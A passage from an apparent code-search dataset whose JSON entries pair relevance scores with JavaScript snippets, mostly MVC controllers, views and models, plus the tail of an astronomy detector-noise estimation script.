assert(stdDev != 0,\n \"The median local standard deviation of the bias or dark frame \" +\n \"difference equals zero. The two bias or two dark frames appear \" +\n \"to be statistically identical.\"\n );\n model.detectorGaussianNoise = 65535 * stdDev;\n } finally {\n stdDevs.assign(0, 0);\n block.assign(0, 0);\n difference.assign(0, 0, 0);\n bias1.assign(0, 0, 0);\n bias2.assign(0, 0, 0);\n }\n };\n\n this.estimateDetectorOffset = function() {\n model.detectorOffset = 0;\n };\n\n this.estimate = function() {\n this.resetDetectorSettings();\n this.disableControls();\n this.view.enableAbort();\n console.show();\n console.flush();\n\n console.beginLog();\n console.writeln();\n console.writeln(\"<b>\" + TITLE + \" Version \" + VERSION + \"</b>\");\n console.flush();\n\n try {\n this.logCalibrationFrames();\n\n var time = -(new Date()).getTime();\n\n this.estimateDetectorGain();\n this.view.throwAbort();\n this.estimateDetectorGaussianNoise();\n this.view.throwAbort();\n this.estimateDetectorOffset();\n this.view.throwAbort();\n\n this.view.flatFrameExposureValue.text = format(\n \" \" + model.flatFrameExposureFormat, model.flatFrameExposure\n );\n\n this.view.detectorGainValue.text = format(\n \" \" + model.detectorGainFormat, model.detectorGain\n );\n this.view.detectorGaussianNoiseValue.text = format(\n \" \" + model.detectorGaussianNoiseFormat, model.detectorGaussianNoise\n );\n this.view.detectorOffsetValue.text = format(\n \" \" + model.detectorOffsetFormat, model.detectorOffset\n );\n\n time += (new Date()).getTime();\n\n this.logDetectorSettings();\n\n console.writeln();\n console.writeln(format(\"%.03f s\", 0.001 * time));\n console.flush();\n }\n catch (exception) {\n this.resetDetectorSettings();\n console.criticalln();\n console.criticalln(\n !(new RegExp(\"^abort\")).test(exception.message) ?\n \"<b>Error</b>: \" + exception.message :\n exception.message\n );\n console.flush();\n if (!isViewTarget) {\n if (!(new RegExp(\"^abort\")).test(exception.message)) {\n (new MessageBox(\n \"<p><b>Error</b>: \" + exception.message + \"</p>\" +\n \"<p>Estimation aborted.</p>\",\n TITLE,\n StdIcon_Error,\n StdButton_Ok\n )).execute();\n }\n }\n }\n\n console.flush();\n console.hide();\n gc();\n this.view.disableAbort();\n this.enableControls();\n };\n\n this.dismiss = function() {\n this.view.ok();\n };\n\n this.newInstance = function() {\n model.storeParameters();\n };\n\n this.browseDocumentation = function() {\n if (!Dialog.browseScriptDocumentation(TITLE)) {\n (new MessageBox(\n \"<p>Documentation has not been installed.</p>\",\n TITLE,\n StdIcon_Warning,\n StdButton_Ok\n )).execute();\n }\n };\n}", "title": "" }, { "docid": "5841aae2735f3b2b67974e5895b69b2c", "score": "0.5291855", "text": "function Controller() {\n /**\n * This function will trigger and ajax call to get the response\n * and pass the response to model to manipulate the data.\n * @param val\n */\n this.flightProcess = function (val) {\n var dataObj = val;\n var xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function() {\n if (xhttp.readyState == 4 && xhttp.status == 200) {\n var model = MyFlightApp.model;\n model.flightModel(JSON.parse(xhttp.responseText),dataObj);\n model.filter();\n MyFlightApp.view.renderView('add', dataObj);\n }\n };\n xhttp.open(\"GET\", \"js/flight-data.json\", true);\n xhttp.send();\n };\n\n MyFlightApp.eventBus.subscribe(\"addTemplate\", this.flightProcess);\n }", "title": "" }, { "docid": "41e6b86de8039d877c5dfb164144d41c", "score": "0.5273238", "text": "function View(){\n}", "title": "" }, { "docid": "7a4a5367ec1daae8fc00bb03d18415a4", "score": "0.52624637", "text": "function View(object, options) {\n options = options || {};\n\n this.options = options;\n this.getter = options.getter || View.defaultGetter;\n this.setter = options.setter || View.defaultSetter;\n this.inialized = false;\n this.visible = true;\n this.dom = null;\n this.originalValue = null;\n this.object = object;\n}", "title": "" }, { "docid": "5d59400d0a2b0a5311b42be00dc859c3", "score": "0.5258883", "text": "constructor( options ) {\n\t\tsuper();\n\t\t\n\t\t// Default Props\n\t\tthis.data = options;\n\t\tthis.canvas = options.canvas;\n\t\tthis.ctx = options.ctx;\n\t\tthis.model = options.model;\n\n\t}", "title": "" }, { "docid": "e73ec1305039667e5f47351e7c05415c", "score": "0.5243144", "text": "function TView() {}", "title": "" }, { "docid": "e73ec1305039667e5f47351e7c05415c", "score": "0.5243144", "text": "function TView() {}", "title": "" }, { "docid": "ecaba31f03cf8fd8fc32dcf299eccd0d", "score": "0.52413636", "text": "constructor(model, ...args) {\n this.__model = model;\n this.__args = args;\n this.__set = {};\n }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5200024", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5200024", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5200024", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5200024", "text": "function TView() { }", "title": "" }, { "docid": "f2fc8ea2763729aa65e970a17cab52b6", "score": "0.5189764", "text": "function initializeController() {\r\n $rootScope.loginpage = true;\r\n self.model = {\r\n PopulateAssetTypeDropdown: [{\r\n \"type\": \"Select Asset Type\"\r\n }],\r\n assetCategoryDropdown: [{\r\n \"category\": \"Select Asset Category Type\"\r\n }],\r\n };\r\n\r\n //Methods\r\n self.model.GetProductCategory = GetProductCategory;\r\n self.model.ToggleStatus = ToggleStatus;\r\n self.model.SaveProductCategory = SaveProductCategory;\r\n self.model.PopulateAssetCategoryDropdown = PopulateAssetCategoryDropdown;\r\n self.model.ClearFields = ClearFields;\r\n self.model.SavePopup = SavePopup;\r\n\r\n GetProductCategoryList();\r\n PopulateAssetTypeDropdown();\r\n }", "title": "" }, { "docid": "338ed1ea50af59f64f5ebda2a240212f", "score": "0.518621", "text": "constructor(alumnoModel, alumnoView) {\n this.alumnoModel = alumnoModel;\n this.alumnoView = alumnoView;\n }", "title": "" }, { "docid": "8080d3b4ef9af9f7be15bd2a60bc772c", "score": "0.5184921", "text": "function Model(params) {\n ModelConstructor.call(this, params);\n }", "title": "" }, { "docid": "11995f2ee35785b01f79356bf9f6c429", "score": "0.51658744", "text": "function modelView($scope,$rootScope,JobData){\r\n\r\n this.setAttrs = function(jid,name){\r\n $scope.jid = jid;\r\n $scope.name = name;\r\n $scope.$apply();\r\n }\r\n\r\n this._delete = function(){\r\n JobData.deleteSinglejob($scope.jid,function(result){\r\n $rootScope.$broadcast('deletejob');\r\n });\r\n }\r\n }", "title": "" }, { "docid": "8646f1a2055425091d7f27ef1471b7e1", "score": "0.51600444", "text": "function View() {\n}", "title": "" }, { "docid": "ac2d2fa444ab0a1797817037ec01284b", "score": "0.5159921", "text": "function AppControllerViewModel() {\r\n var self = this;\r\n\r\n // Router setup\r\n self.router = oj.Router.rootInstance;\r\n self.router.configure({\r\n 'search': {label: 'Car Finder', isDefault: true},\r\n 'leaseInfo': {label: 'Inbox'}\r\n });\r\n oj.Router.defaults['urlAdapter'] = new oj.Router.urlParamAdapter();\r\n\r\n // Media queries for repsonsive layouts\r\n var smQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.SM_ONLY);\r\n self.smScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(smQuery);\r\n var mdQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.MD_UP);\r\n self.mdScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(mdQuery);\r\n\r\n // Navigation and Offcanvas\r\n self.drawerParams = {\r\n displayMode: 'push',\r\n selector: '#offcanvas',\r\n content: '#pageContent'\r\n };\r\n // Called by navigation drawer toggle button and after selection of nav drawer item\r\n self.toggleDrawer = function() {\r\n return oj.OffcanvasUtils.toggle(self.drawerParams);\r\n };\r\n // Close offcanvas on medium and larger screens\r\n self.mdScreen.subscribe(function() {oj.OffcanvasUtils.close(self.drawerParams);});\r\n self.navDataSource = nav.dataSource;\r\n // Called by nav drawer option change events so we can close drawer after selection\r\n self.navChange = function(event, ui) {\r\n if (ui.option === 'selection' && ui.value !== self.router.stateId()) {\r\n self.toggleDrawer();\r\n }\r\n };\r\n\r\n // Header\r\n // Application Name used in Branding Area\r\n self.appName = ko.observable(\"\");\r\n // User Info used in Global Navigation area\r\n self.userLogin = ko.observable(\"[email protected]\");\r\n // Dropdown menu states\r\n self.menuItemSelect = function (event, ui) {\r\n switch (ui.item.attr(\"id\")) {\r\n case \"about\":\r\n $(\"#aboutDialog\").ojDialog(\"open\");\r\n break;\r\n default:\r\n }\r\n };\r\n\r\n // Footer\r\n function footerLink(name, id, linkTarget) {\r\n this.name = name;\r\n this.linkId = id;\r\n this.linkTarget = linkTarget;\r\n }\r\n self.footerLinks = ko.observableArray([\r\n new footerLink('About Oracle JET', 'aboutOracle', 'http://www.oracle.com/webfolder/technetwork/jet/index.html'),\r\n new footerLink('About Capgemini', 'contactUs', 'https://www.nl.capgemini.com/'),\r\n new footerLink('Code Base', 'codebase', 'https://github.com/sohamda/LeaseCar_JET'),\r\n new footerLink('Who Am I', 'whoami', 'https://nl.linkedin.com/in/soham-dasgupta-91b75410'),\r\n ]);\r\n }", "title": "" }, { "docid": "38bf14bde31825a1c1dd7d96e5d25881", "score": "0.515646", "text": "function view(options) {\n if (!options) {\n throw new TypeError('Failed to construct \"view\": 1 argument required, but only 0 present');\n }\n\n var _this = this;\n\n this.$options = options || {};\n this.$el = $(options.el);\n\n // this.$isMounted = false;\n this.$created = options.created || function () {};\n this.$mounted = options.mounted || function () {};\n this.$updated = options.updated || function () {};\n\n // this.$get = ajax.get;\n // this.$post = ajax.post;\n\n // $.extend(this.$options.data, this.$options.listen)\n\n\n this.$render = () => {\n var compiled = _.template(this.$options.template);\n var html = compiled(this.$options.data);\n // var html = _.render(this.$options.template, this.$options.data);\n this.$el.html(html);\n }\n\n // 提取input绑定的值 实现v到M的绑定\n this.$extractInputEvent = () => {\n var template = this.$options.template;\n var inputEventMap = {};\n var target = template.match(/value=[\"']<%=[\\s0-9a-z_$]*%>[\"']/gi);\n // console.log(target);\n\n $.each(target, function (i, value) {\n var data = /<%=(.*)%>/gi.exec(value)\n if (data) {\n var data = data[1].trim();\n inputEventMap[data] = data;\n template = template.replace(value, value + ' data-model=\"' + data + '\"')\n }\n })\n this.$options.template = template;\n // 绑定输入\n for (let key in inputEventMap) {\n $(this.$el).on('input', `[data-model=\"${inputEventMap[key]}\"]`, function (event) {\n _this[key] = this.value;\n })\n }\n }\n // 计算属性 目前只有首次计算 以及repaint时更新\n this.$extractComputed = () => {\n // console.log(this.$options.computed);\n for (let key in this.$options.computed) {\n // console.log(key);\n // console.log(this.$options.data[key]);\n if (this.$options.data[key]) {\n throw new SyntaxError('Identifier ' + key + ' has already been declared');\n } else {\n this.$options.data[key] = this.$options.computed[key].call(this);\n this[key] = this.$options.data[key];\n }\n }\n }\n\n this.$computed = ()=>{\n for (let key in this.$options.computed) {\n this.$options.data[key] = this.$options.computed[key].call(this);\n this[key] = this.$options.data[key];\n }\n }\n\n\n this.$checkDate = () => {\n for (let key in this.$options.data) {\n this.$options.data[key] = this[key];\n }\n }\n\n this.$eventsInit = () => {\n for (let key in this.$options.events) {\n let fn = this.$options.events[key];\n let type = key.split(\" \")[0];\n let elem = key.split(\" \")[1];\n $(this.$el).on(type, elem, (function (fn) {\n return function (event) {\n fn.call(_this, $(elem), event);\n }\n })(fn));\n }\n }\n\n this.$dataInit = () => {\n for (let key in this.$options.data) {\n this[key] = this.$options.data[key];\n }\n }\n\n this.$methodsInit = () => {\n for (let key in this.$options.methods) {\n if (this[key]) {\n throw new SyntaxError('Identifier ' + key + ' has already been declared');\n }\n this[key] = this.$options.methods[key];\n }\n }\n\n /* this.$DOMObserver = () => {\n var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;\n var mutationObserverSupport = !!MutationObserver;\n if (mutationObserverSupport) {\n // Firefox(14+)、Chrome(26+)、Opera(15+)、IE(11+)、Safari(6.1+)\n var observer = new MutationObserver((records) => {\n // console.log(records);\n // console.log('DOM is updated');\n this.$updated();\n });\n var app = document.querySelector('#app');\n var options = {\n 'childList': true\n // 'arrtibutes': true,\n // 'characterData': true,\n // 'subtree': true\n };\n observer.observe(app, options);\n } else {\n setTimeout(() => {\n this.$updated();\n }, 0);\n }\n } */\n\n\n this.$repaint = () => {\n this.$computed();\n this.$checkDate();\n this.$render();\n // DOM更新完成\n setTimeout(() => {\n this.$updated();\n }, 0);\n }\n\n // 开始创建 回调\n this.$created();\n // 初始化数据 方法 事件\n this.$dataInit();\n this.$methodsInit();\n this.$eventsInit();\n this.$extractComputed();\n this.$extractInputEvent();\n // DOM装载\n this.$render();\n // DOM装载完成\n setTimeout(() => {\n // this.$isMounted = true;\n this.$mounted();\n }, 0);\n\n}", "title": "" }, { "docid": "e83c6f170fc242e637b77bdbbd768e9d", "score": "0.51509315", "text": "function SelectController(data, formContainer) {\n this.data = data;\n this.formContainer = formContainer;\n this.optionsContainer = $(formContainer).find('.select_option');\n}", "title": "" }, { "docid": "0a7b9a1cada4e20903e790a4082f5355", "score": "0.5136429", "text": "setupController(controller, model) {\n // Call _super for default behavior\n this._super(controller, model);\n\n // if (this.get('session.data.authenticated.role')!=='Admin'){\n if ( localStorage.getItem('role') !== 'Admin'){\n\t\t this.transitionTo('/search-contact');\n }\n }", "title": "" }, { "docid": "7df9aa533cc283300db3649393efe261", "score": "0.51228327", "text": "initialize(options) {\n Backbone.View.prototype.initialize.call(this, options);\n\n this._$target = options.$target;\n this._timeout = null;\n }", "title": "" }, { "docid": "eae94f893aacd401bd410d6f1259fc5b", "score": "0.51188356", "text": "constructor(model, view, ...props) {\n\n view.update(model);\n\n return ProxyFactory.create(model, props, (model) => {\n view.update(model);\n });\n }", "title": "" }, { "docid": "e0b14026cddc0c2aa4869e3381fabe2e", "score": "0.51059985", "text": "initialize(options) {\n RB.FileAttachmentReviewableView.prototype.initialize.call(\n this, options);\n\n this._$viewTabs = null;\n this._$textTable = null;\n this._$renderedTable = null;\n this._textSelector = null;\n this._renderedSelector = null;\n\n this.on('commentBlockViewAdded', this._placeCommentBlockView, this);\n\n this.router = new Backbone.Router({\n routes: {\n ':viewMode(/line:lineNum)': 'viewMode',\n },\n });\n this.listenTo(this.router, 'route:viewMode', (viewMode, lineNum) => {\n /*\n * Router's pattern matching isn't very good. Since we don't\n * want to stick \"view\" or something before the view mode,\n * and we want to allow for view, line, or view + line, we need\n * to check and transform viewMode if it seems to be a line\n * reference.\n */\n if (viewMode.indexOf('line') === 0) {\n lineNum = viewMode.substr(4);\n viewMode = null;\n }\n\n if (viewMode) {\n this.model.set('viewMode', viewMode);\n }\n\n if (lineNum) {\n this._scrollToLine(lineNum);\n }\n });\n }", "title": "" }, { "docid": "0f75a3fe39c0d93a3bca6c514cc0fb7c", "score": "0.51054317", "text": "function PublicView(){}", "title": "" }, { "docid": "f34b74acfd78cc65e4c78d01e2ecdfe8", "score": "0.509997", "text": "function Controller(U,M){\n\t\n\tvar Ui = new U();\n\t\n\tvar Model = new M();\n\t\n\tvar eTag = {\n\t\t\n\t\t\"clearAll\": getId(\"a#clear\"),\n\t\t\n\t\t\"save\":getId(\"a#save\"),\n\t\t\n\t\t\"logout\": getId(\"#logout\"),\n\t\t\n\t\t\"enterData\": getId(\"#bgt-btn\"),\n\t\t\n\t\t\"bgtList\": getId(\".data-1 ol\"),\n\t\t\t\n\t\t\"expList\": getId(\".data-2 ol\")\n\t\t\n\t};\n\t\n\tvar delFunc = function(e){\n\t\t\n\t\ttoDelete = e.srcElement.parentNode;\n\t\t\t\n\t\t\tif (toDelete.nodeName == \"LI\" && \n\t\t\t\te.srcElement.nodeName == \"I\"){\n\t\t\t\t\n\t\t\t\tentryDelId = toDelete.id;\n\t\t\t\t\n\t\t\t\tentry = entryDelId.split(\"-\");alert(entry);\n\t\t\t\t\n\t\t\t\tUi.deleteEntry(toDelete);\n\t\t\t\n\t\t\t\tdata = Model.deleteEntry(entry);\n\n\t\t\t\tUi.update(data);\n\t\t\t}\n\t\t\t\n\t};\n\t\n\tthis.requestHandler = function(){\n\t\t\n\t\teTag.clearAll.addEventListener(\"click\", function(){\n\t\t\t\n\t\t\tUi.clearAll();\n\t\t\t\n\t\t\tModel.clearAll();\n\t\t\t\n\t\t});\n\t\t\n\t\teTag.save.addEventListener(\"click\", function(){\n\t\t\t\n\t\t\tif (Model.save() == true){\n\t\t\t\t\n\t\t\t\tUi.alert(\"Data Saved\");\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t});\n\t\t\n\t\t// checks for click event on the button\n\t\teTag.enterData.addEventListener(\"click\", function(){\n\t\t\t // gets data \n\t\t\tdata = Ui.getBudgetEntry();\n\t\t\t\n\t\t\t// adds data\n\t\t\tif (data[2] == \"\" || !parseInt(data[2])){\n\t\t\t\t\n\t\t\t\talert(\"Wrong Data entry\");\n\t\t\t\t\n\t\t\t\tthis.requestHandler();\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tdata = Model.getEntry(data);\n\t\t\t\n\t\t\t// update data\n\t\t\tUi.update(data); \n\t\t\t\n\t\t});\n\t\t\n\t\t\n\t\t// for delete option\n\t\t//var toDelete, entryDelId, entry;\n\t\t\n\t\teTag.bgtList.addEventListener(\"click\", function (e){\n\t\t\t\n\t\t\tdelFunc(e);\n\t\t\t\n\t\t});\n\t\t\n\t\teTag.expList.addEventListener(\"click\", function (e){\n\t\t\t\n\t\t\tdelFunc(e);\n\t\t\t\n\t\t});\n\n\t};\n\t\n\tthis.requestHandler();\n}", "title": "" }, { "docid": "a36edc1682cbf13eb3d586788f67f4c9", "score": "0.5090876", "text": "function controller() { }", "title": "" }, { "docid": "a36edc1682cbf13eb3d586788f67f4c9", "score": "0.5090876", "text": "function controller() { }", "title": "" }, { "docid": "ac1803c8e3bbaa906fdcd09fd60734f6", "score": "0.5085681", "text": "function controllerView(options) {\n\t\tvar opt = {\n\t\t\tmixins: [luxStoreReactMixin, luxActionCreatorReactMixin].concat(options.mixins || [])\n\t\t};\n\t\tdelete options.mixins;\n\t\treturn React.createClass(Object.assign(opt, options));\n\t}", "title": "" }, { "docid": "e72d8e5a6b033191a5e015d451c924ae", "score": "0.5075432", "text": "function ImageUploaderController() {\n this.view = null;\n }", "title": "" }, { "docid": "73567ee3a4efe4f91f4afd526cbdb124", "score": "0.5075024", "text": "init (opts = {}) {\n const { name } = this.Model;\n\n if (!opts.name)\n opts.name = name;\n\n // Pass control to the base class.\n this._super.call (this, opts);\n\n // Prepare the options for the base class.\n assert (!!this.Model, \"You must define the { Model } property.\");\n\n const { options: { resource, softDelete = false } } = this.Model;\n\n assert (resource, `${name} is not a resource; model must be created using resource() method.`);\n\n this._softDelete = softDelete;\n\n // Build the validation schema for create and update.\n this._defaultValidationOptions = {scope: this.name};\n }", "title": "" }, { "docid": "8e61f7e3e85b9173f3165da37603b91d", "score": "0.50603336", "text": "renderModel(data, fields, callback){ //public function for create model\n\t\tthis[_createModel](data, fields, callback);\n\t}", "title": "" }, { "docid": "7927b3af0d25af40f5027dd13d831bfd", "score": "0.50546324", "text": "function CoreController() {\n var model = this;\n\n model.hello = \"Hello Angular\";\n }", "title": "" }, { "docid": "29c52fe1b6fae7de568dd4ee1711ebd3", "score": "0.50524735", "text": "function constructModel() {\n vm.model = {\n id: 0,\n nombre: '',\n tipo_persona: null,\n historial_contratacion: [],\n sueldo_cuenta: 0,\n porcentaje_chica: 0,\n fecha_labores: new Date()\n };\n vm.usuario = {\n password: '',\n nick: ''\n };\n vm.perfil = {\n\n }\n }", "title": "" }, { "docid": "c52bfc6a29dd35440570c9c6ea41a0a7", "score": "0.5052238", "text": "function View( context, path, parentView, data, template, index ) {\n\t// Constructor for view object in view hierarchy. (Augmented by JsViews if JsViews is loaded)\n\tvar views = parentView.views,\n//\tTODO: add this, as part of smart re-linking on existing content ($.link method), or remove completely\n//\t\t\tself = parentView.views[ index ];\n//\t\t\tif ( !self ) { ... }\n\t\tself = {\n\t\t\ttmpl: template,\n\t\t\tpath: path,\n\t\t\tparent: parentView,\n\t\t\tdata: data,\n\t\t\tctx: context,\n\t\t\tviews: $.isArray( data ) ? [] : {},\n\t\t\thlp: getHelper\n\t\t};\n\n\tif ( $.isArray( views )) {\n\t\tviews.splice(\n\t\t\tself.index = index !== undefined\n\t\t\t\t? index\n\t\t\t\t: views.length, 0, self\n\t\t);\n\t} else {\n\t\tviews[ self.index = \"_\" + autoViewKey++ ] = self;\n\t}\n\treturn self;\n}", "title": "" }, { "docid": "6af7c35de25003e8df39b664e8b226ee", "score": "0.50509727", "text": "function CatalogueQEditor_Mvc(params /*{parentDivId, formName, getMetaUrl, queryView, relationName, distanceQualifer, help}*/){\n\tConstQEditor_Mvc.call(this, params);\n\tthis.relationName = params.relationName;\n\tthis.qualifier = params.distanceQualifer;\n\tthis.getMetaUrl = params.getMetaUrl;\n}", "title": "" }, { "docid": "0f64645f62bfa8af2de472a6f14ce575", "score": "0.50487226", "text": "function initialize() {\n var toggleOptions = [], customOptions = []; // temp variables to write to before applying the data to the controller.\n\n // Make sure that the specified field for the provided model is defined as an object store.\n ctrl.model[ctrl.field] = angular.isObject(ctrl.model[ctrl.field]) ? ctrl.model[ctrl.field] : {};\n\n ctrl.currentSettings = \"Loading...\";\n // Examine all the provided sharing options.\n // angular.copy is used to avoid modifying the parent scope options.\n angular.forEach(angular.copy(ctrl.options), function (shareOption) {\n if (!shareOption.key) { return; }\n\n // Set sharing options on the model to default values if not existing,\n // otherwise use existing values.\n if (ctrl.model[ctrl.field][shareOption.key]) {\n shareOption.value = ctrl.model[ctrl.field][shareOption.key];\n } else {\n ctrl.model[ctrl.field][shareOption.key] = shareOption.value;\n }\n\n // Push the sharing option to the appropriate store on the controller,\n // based on its type.\n // 'boolean' -> toggleable in the dropdown control.\n // 'collection' -> editable in the modal control.\n\n if (shareOption.type === 'boolean') {\n toggleOptions.push(shareOption);\n\n if (shareOption.value === true) {\n ctrl.active_options_count++;\n ctrl.active_toggle_options.push(shareOption.label);\n }\n\n } else if (shareOption.type === 'collection') {\n if (!ctrl.collectionMap || !ctrl.collectionMap[shareOption.key]) {\n return;\n }\n\n customOptions.push(shareOption);\n\n if (shareOption.value.length) {\n ctrl.active_options_count++;\n\n if (!ctrl.active_custom_option) {\n ctrl.active_custom_option = true;\n }\n }\n }\n });\n\n // Bind the sharing options to the controller.\n ctrl.toggleOptions = toggleOptions;\n ctrl.customOptions = customOptions;\n\n // Update the overview text displayed in the dropdown button.\n ctrl.updateCurrentSettings();\n }", "title": "" }, { "docid": "f70d6e1efe2107d309f735e21cb3188d", "score": "0.5038166", "text": "function CONTIGview(option) {\n view = option;\n loadHandler();\n updateOut();\n}", "title": "" }, { "docid": "ca47a71ac8e6fae79abfb83c85fb021d", "score": "0.5035061", "text": "constructor (div = document.body, worldOptions = {}, threeOptions = {}) {\n // Store and initialize the model's div and contexts.\n this.div = util.isString(div) ? document.getElementById(div) : div\n this.spriteSheet = new SpriteSheet()\n\n // Create this model's `world` object\n this.world = Model.defaultWorld()\n Object.assign(this.world, worldOptions)\n this.setWorld()\n\n // Initialize Three.js\n this.three = Model.defaultThree()\n Object.assign(this.three, threeOptions)\n this.initThree()\n this.initThreeHelpers()\n\n // Initialize the model by calling `startup` and `reset`.\n // If `startup` returns a promise, or generator/iterator, manage it.\n // Arrow functions used to maintain `this`, lexical scope.\n this.modelReady = false\n const setupFcn = () => { this.reset(); this.modelReady = true }\n util.runAsyncFcn(() => this.startup(), setupFcn)\n }", "title": "" }, { "docid": "14db6f2def2d279cecb78cd12591c1e5", "score": "0.5032322", "text": "constructor(options) {\n super();\n }", "title": "" }, { "docid": "3f46836292dd7e1e3e4e21a3f2c6e1bb", "score": "0.5027875", "text": "get model() {\n return this._model;\n }", "title": "" }, { "docid": "3f4fc210780c9d776513bc2f83a79124", "score": "0.5023373", "text": "constructor(options) {\n this.options = options;\n }", "title": "" }, { "docid": "d1a762162365a8ba3fce4b3f3fd7c453", "score": "0.5022703", "text": "function modelVm(modelPath, $referer) {\n // console.log(modelPath, $referer)\n //实例化回调\n var modelObj,\n callbackFn,\n initCallbackFn,\n modelCode,\n This = {\n realPath: '',\n pathSlice: ''\n },\n includeModel = [],\n modelSource,\n $modulePath = $referer ? $referer.__storage__.__info__.modulePath : '';\n\n //路径转换(比对配置中的路径)\n function pathToUrl(path) {\n var $src = $configStroage.pathList.src,\n paths = $src.paths,\n sort = $configStroage.pathList.maps.sort,\n sortList = $configStroage.pathList.maps.list,\n key, value, i, l, $i, $l, $value, tmpValue, rflag;\n\n //检查是否匹配到path路径\n key = paths[path] || path;\n i = ~0;\n l = sort.length;\n\n //路径替换\n maps:\n while (++i < l) {\n value = sortList[sort[i]];\n $i = ~0;\n $l = value.length;\n while (++$i < $l) {\n $value = value[$i];\n //进行map匹对\n if (key.match($value.regexp) && ((tmpValue = key.replace($value.regexp, '')) === '' || tmpValue.indexOf('/') === 0)) {\n key = $value.value + tmpValue;\n rflag = true;\n break maps;\n }\n }\n\n }\n\n return key;\n\n }\n\n //执行Model处理(处理依赖的model与工具包)\n function handleExec(modelCode, modelObj, includeModel, callback) {\n var i = ~0,\n l = includeModel.length,\n modelName,\n packages = [],\n packagePath,\n packagesFlag = [];\n\n callback = typeof callback === \"function\" ? callback : function() {};\n\n while (++i < l) {\n modelName = includeModel[i];\n packagePath = modelName.replace(/^\\$:/, '');\n //判断是否js模块\n if (packagePath !== modelName) {\n packagesFlag.push(i);\n packagePath = packagePath.indexOf('@') ? packagePath : pathToUrl($modulePath) + '/' + packagePath.slice(1);\n packages.push(packagePath);\n } else {\n includeModel[i] = controllerImage.prototype.model.call(modelObj, modelName);\n }\n }\n //数据模型执行\n if (packages.length) {\n\n //添加包依赖的接收函数\n packages.push(function() {\n var arg = arguments;\n packagesFlag.forEach(function(key, index) {\n includeModel[key] = arg[index];\n });\n\n modelCode.apply(modelObj, includeModel);\n callback(modelCode)\n });\n\n //执行包依赖加载\n $packages.apply(this, packages);\n } else {\n modelCode.apply(modelObj, includeModel);\n callback(modelCode)\n }\n }\n\n\n //检查(内建/数据/外部)模型\n if (typeof modelPath === \"object\") {\n //实例化model\n callbackFn = modelObj = new modelImage($referer ? $referer.__storage__.__info__ : null);\n\n //内建model\n if (modelCode = modelPath.modelCode) {\n includeModel = modelPath.includeModel;\n\n handleExec(modelCode, modelObj, includeModel);\n\n //纯数据模型\n } else {\n callbackFn.$model = modelPath.data;\n }\n\n //引入外部数据模型\n } else {\n $sourceManage.getModelSource(modelPath, function(source, sourceType) {\n This = this;\n $modulePath = this.modulePath;\n modelObj = new modelImage(this);\n\n //提取数据模型执行码\n if (source && (modelSource = source[this.pathSlice] || $log.warning('[数据模型] ' + this.realPath + '中' + this.pathSlice + '模型不存在!') && false)) {\n i = 0;\n l = modelSource.length;\n\n initCallbackFn ? initCallbackFn(modelObj, This) : initCallbackFn = modelObj;\n\n modelSourceEnd:\n while (++i < l) {\n switch ($type.getType(modelSource[i])) {\n case 'function':\n modelCode = modelSource[i];\n break modelSourceEnd;\n case 'string':\n includeModel.push(modelSource[i]);\n break;\n case 'array':\n includeModel = includeModel.concat(modelSource[i]);\n break;\n }\n }\n\n //实例化引入的model\n handleExec(modelCode, modelObj, includeModel, function() {\n //兼容同步与异步回调(返回数据model)\n callbackFn ? callbackFn(modelObj, This) : (callbackFn = modelObj);\n });\n\n } else {\n\n initCallbackFn ? initCallbackFn(modelObj, This) : initCallbackFn = modelObj;\n //兼容同步与异步回调\n callbackFn ? callbackFn(modelObj, this) : (callbackFn = modelObj);\n }\n\n });\n }\n\n //对外提供数据模型实例化\n return {\n init: function(callback) {\n initCallbackFn ? callback(initCallbackFn, This) : initCallbackFn = callback;\n },\n load: function(callback) {\n //兼容同步与异步回调\n callbackFn ? callback(callbackFn, This) : callbackFn = callback;\n }\n }\n }", "title": "" }, { "docid": "5c4d5f98c5c164c448bc1541e0f76840", "score": "0.5013266", "text": "function AppControllerViewModel() {\n var self = this;\n\n // Router setup\n self.router = oj.Router.rootInstance;\n self.router.configure(\n {\n 'home': { label: 'Home', isDefault: true},\n 'library': { label: 'Library' }\n });\n\n // Configure child router for home.\n self.router.createChildRouter('view', 'home').configure(\n {\n 'comps': { label: 'Components', isDefault: true },\n 'tutorial': { label: 'Variables' }\n });\n\n oj.Router.defaults['urlAdapter'] = new oj.Router.urlParamAdapter();\n\n // Change the default location for the viewModel and view files\n oj.ModuleBinding.defaults.modelPath = 'viewModels/styleLab/';\n oj.ModuleBinding.defaults.viewPath = 'text!views/styleLab/';\n\n\n // Media queries for repsonsive layouts\n var smQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.SM_ONLY);\n self.smScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(smQuery);\n var mdQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.MD_UP);\n self.mdScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(mdQuery);\n\n // Navigation and Offcanvas\n self.drawerParams = {\n displayMode: 'push',\n selector: '#offcanvas',\n content: '#pageContent'\n };\n // Called by navigation drawer toggle button and after selection of nav drawer item\n self.toggleDrawer = function() {\n return oj.OffcanvasUtils.toggle(self.drawerParams);\n };\n // Close offcanvas on medium and larger screens\n self.mdScreen.subscribe(function() {oj.OffcanvasUtils.close(self.drawerParams);});\n self.navDataSource = nav.dataSource;\n // Called by nav drawer option change events so we can close drawer after selection\n self.navChange = function(event) {\n if (event.detail.originalEvent) {\n self.toggleDrawer();\n self.topNavBarSelectionChanged(event);\n }\n };\n\n self.currentModuleConfig = ko.observable({view: []});\n self.viewRouterSelectionState = 